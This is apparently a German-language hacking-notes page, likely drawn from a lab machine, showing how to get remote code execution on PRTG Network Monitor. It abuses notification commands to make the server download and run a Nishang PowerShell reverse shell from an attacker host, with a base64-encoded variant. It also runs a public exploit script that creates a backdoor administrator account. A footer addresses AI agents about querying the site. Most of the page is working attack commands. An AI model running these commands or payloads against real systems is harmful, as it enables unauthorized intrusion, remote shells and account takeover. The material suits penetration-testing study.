> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/prtg-network-monitor-cms-exploitation.md).

# PRTG Network Monitor

<figure><img src="/files/154470b815330a46d2a2bd62432d0b14d7b26bff" alt=""><figcaption></figcaption></figure>

## RCE in PRTG Network Monitor

PRTG kann Benachrichtigungsaktionen auf dem Server ausführen. Wenn eine authentifizierte Sitzung die Berechtigung hat, Benachrichtigungen zu erstellen oder zu ändern, kann das Feld für den Benachrichtigungsbefehl missbraucht werden, um PowerShell auszuführen und Codeausführung zu erlangen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1>" %}

## Methode 1 - Manueller Missbrauch von Benachrichtigungen

Lade ein PowerShell-Reverse-Shell-Skript auf den Angreiferrechner herunter:

```bash
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
```

Hänge den Callback-Handler an das Skript an und halte die IP und den Port des Listeners an deine Umgebung angepasst:

```bash
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.13 -Port 443' >> Invoke-PowerShellTcp.ps1
```

Hoste die Datei:

```bash
python3 -m http.server 80
```

Starte einen Listener:

```bash
rlwrap nc -nvlp 443
```

Gehe in PRTG zu `Setup > Account Settings > Notifications` und erstelle eine neue Benachrichtigungsaktion, die ein Programm oder Skript ausführt.

<figure><img src="/files/ec5f198055034fd74eb83602f41f78688210a232" alt=""><figcaption></figcaption></figure>

Verwende den Benachrichtigungsbefehl, damit der Server das gehostete PowerShell-Skript herunterlädt und ausführt:

{% code overflow="wrap" %}

```powershell
abc.txt | powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.13/Invoke-PowerShellTcp.ps1')"
```

{% endcode %}

<figure><img src="/files/b803e9b972fac29f253cad70500402957330945f" alt=""><figcaption></figcaption></figure>

Wenn die Anfrage den Webserver erreicht, die Reverse Shell sich aber nicht zurückverbindet, konvertiere das PowerShell-Skript in UTF-16LE Base64 und verwende PowerShell `-enc`:

```bash
iconv -f UTF-8 -t UTF-16LE Invoke-PowerShellTcp.ps1 | base64 -w 0 > encoded_script.txt
```

Dann platziere die kodierte Nutzlast im Benachrichtigungsbefehl:

```powershell
abc.txt | powershell -enc <BASE64_PAYLOAD>
```

<figure><img src="/files/9452f8af72cf8b2c2a8cdf8911a6bbc6f34bf51d" alt=""><figcaption></figcaption></figure>

## Methode 2 - Automatisierter Exploit

Suche nach öffentlichen Exploits für PRTG Network Monitor und kopiere das passende Skript:

```bash
searchsploit -m windows/webapps/46527.sh
```

<figure><img src="/files/708512938d37650ef1e75145ceec7ce9b7c61998" alt=""><figcaption></figcaption></figure>

Führe das Skript mit der Ziel-URL und dem authentifizierten Sitzungscookie aus:

{% code overflow="wrap" %}

```bash
./prtg-exploit.sh -u http://10.10.10.152 -c "OCTOPUS1813713946=ezUwMjVCREI0LUMxNjUtNDIwNi04N0M2LUJFOTEyN0I3MjY2Q30%3D"
```

{% endcode %}

Der Exploit erstellt einen neuen Benutzer:

* Benutzername: `pentest`
* Passwort: `P3nT3st!`

<figure><img src="/files/d4bfa73dc7ca0310cb650e80c582932f5c5dd28e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/prtg-network-monitor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
